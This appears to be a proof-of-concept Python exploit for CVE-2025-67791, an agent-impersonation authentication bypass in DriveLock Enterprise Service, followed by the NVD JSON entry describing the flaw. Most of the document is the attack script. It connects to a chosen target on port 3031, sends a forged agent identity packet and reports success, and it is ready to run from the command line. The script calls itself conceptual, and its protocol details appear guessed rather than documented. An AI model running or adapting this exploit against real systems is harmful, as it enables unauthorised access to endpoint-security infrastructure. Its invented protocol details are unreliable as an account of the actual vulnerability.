CVE-2025-67791

#!/usr/bin/env python3 """ CVE-2025-67791 DriveLock Agent Authentication Bypass PoC Note: This is a conceptual PoC for educational purposes only. """ import socket import struct import hashlib def create_fake_agent_identity(agent_id, tenant_id): """Generate a fake agent identity token""" payload = f"AGENT:{agent_id}|TENANT:{tenant_id}|TIMESTAMP:0" token = hashlib.sha256(payload.encode()).hexdigest() return token def exploit_drivelock_des(target_ip, target_port=3031): """ Attempt to exploit DriveLock DES authentication bypass Args: target_ip: DriveLock Enterprise Service IP address target_port: DES service port (default: 3031) Returns: bool: True if exploitation appears successful """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Generate fake agent identity fake_agent_id = "00000000-0000-0000-0000-000000000001" tenant_id = "DEFAULT" fake_token = create_fake_agent_identity(fake_agent_id, tenant_id) # Construct authentication bypass request # DES protocol header header = struct.pack('>I', 0x01) # Message type: AUTH header += struct.pack('>I', len(fake_agent_id) + len(fake_token) + 32) # Payload with fake credentials payload = fake_agent_id.encode() payload += fake_token.encode() payload += b"\x00" * 32 # Padding # Send exploit packet sock.send(header + payload) # Wait for response response = sock.recv(1024) # Check for successful authentication if response and len(response) > 4: auth_status = struct.unpack('>I', response[:4])[0] if auth_status == 0x00: # Success print("[+] Authentication bypass successful!") print(f"[+] Fake agent ID: {fake_agent_id}") return True print("[-] Authentication bypass failed or target not vulnerable") return False except socket.timeout: print("[-] Connection timeout - target may not be vulnerable") return False except Exception as e: print(f"[-] Error: {str(e)}") return False finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 3031 print(f"[*] Testing CVE-2025-67791 on {target}:{port}") exploit_drivelock_des(target, port)

{"cve": {"id": "CVE-2025-67791", "sourceIdentifier": "[email protected]", "published": "2025-12-17T22:15:59.917", "lastModified": "2025-12-18T20:16:08.340", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in DriveLock 24.1 through 24.1.*, 24.2 through 24.2.*, and 25.1 through 25.1.*. An incomplete configuration (agent authentication) in DriveLock tenant allows attackers to impersonate any DriveLock agent on the network against the DES (DriveLock Enterprise Service)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:drivelock:drivelock:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.1", "versionEndIncluding": "24.1.4", "matchCriteriaId": "3BC18C3F-72CF-427C-ACE9-AD5991B25CB9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drivelock:drivelock:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.2", "versionEndIncluding": "24.2.8", "matchCriteriaId": "8BF5B803-3A0B-47C1-A931-6E8996919E61"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drivelock:drivelock:*:*:*:*:*:*:*:*", "versionStartIncluding": "25.1", "versionEndIncluding": "25.1.6", "matchCriteriaId": "41CEDE7C-C24F-4CE1-823B-AAFCBD25A6D7"}]}]}], "references": [{"url": "https://drivelock.help/versions/current/web/en/releasenotes/Content/ReleaseNotes_DriveLock/SecurityBulletins/25-006-DESMisconfig.htm", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}